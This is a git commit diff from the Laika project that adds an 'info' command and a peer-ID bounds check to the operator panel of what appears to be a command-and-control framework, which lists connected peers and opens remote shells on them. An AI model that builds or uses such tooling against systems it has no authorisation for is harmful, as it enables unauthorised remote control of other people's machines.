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Added info command, better sanity check for shellS_getPeer()

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This commit is contained in:
CPunch 2022-03-25 22:11:15 -05:00
parent dd9cb2af00
commit e2e25f5a49
2 changed files with 22 additions and 10 deletions
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2
shell/src/main.c
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@ -13,7 +13,7 @@ int main(int argv, char *argc[]) {
bool printPrompt = false;
shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE));
shellT_printf("\t made with %s<3%s by CPunch - %s\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR));
shellT_printf("\t made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR));
shellC_init(&client);
shellC_connectToCNC(&client, "127.0.0.1", "13337");

30
shell/src/scmd.c
View File

@ -20,7 +20,7 @@ jmp_buf cmdE_err;
tShell_cmdDef *shellS_findCmd(char *cmd);
tShell_peer *shellS_getPeer(tShell_client *client, int id) {
if (id >= client->peerTblCount || client->peerTbl[id] == NULL)
if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL)
CMD_ERROR("Not a valid peer ID! [%d]\n", id);
return client->peerTbl[id];
@ -39,21 +39,33 @@ void quitCMD(tShell_client *client, int args, char *argc[]) {
laikaS_kill(&client->peer->sock);
}
void listPeers(tShell_client *client, int args, char *argc[]) {
void listPeersCMD(tShell_client *client, int args, char *argc[]) {
int i;
shellT_printf("\n");
for (i = 0; i < client->peerTblCount; i++) {
if (client->peerTbl[i]) {
shellT_printf("%04d ", i);
shellP_printInfo(client->peerTbl[i]);
shellT_printf("\n");
}
}
shellT_printf("\n");
}
void openShell(tShell_client *client, int args, char *argc[]) {
void infoCMD(tShell_client *client, int args, char *argc[]) {
tShell_peer *peer;
int id;
if (args < 2)
CMD_ERROR("Usage: info [PEER_ID]\n");
id = shellS_readInt(argc[1]);
peer = shellS_getPeer(client, id);
/* print info */
shellT_printf("%04d ", id);
shellP_printInfo(peer);
}
void openShellCMD(tShell_client *client, int args, char *argc[]) {
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
tShell_peer *peer;
int id, sz, cols, rows;
@ -100,8 +112,9 @@ void openShell(tShell_client *client, int args, char *argc[]) {
tShell_cmdDef shellS_cmds[] = {
CREATECMD("help", "Lists avaliable commands", helpCMD),
CREATECMD("quit", "Disconnects from CNC, closing panel", quitCMD),
CREATECMD("list", "Lists all connected peers to CNC", listPeers),
CREATECMD("shell", "Opens a shell on peer", openShell),
CREATECMD("list", "Lists all connected peers to CNC", listPeersCMD),
CREATECMD("info", "Lists info on a peer", infoCMD),
CREATECMD("shell", "Opens a shell on peer", openShellCMD),
};
#undef CREATECMD
@ -174,7 +187,6 @@ void shellS_runCmd(tShell_client *client, char *cmd) {
if (setjmp(cmdE_err) == 0) {
cmdDef->callback(client, args, argc);
}
shellT_printf("\n");
/* free our argument buffer */
laikaM_free(argc);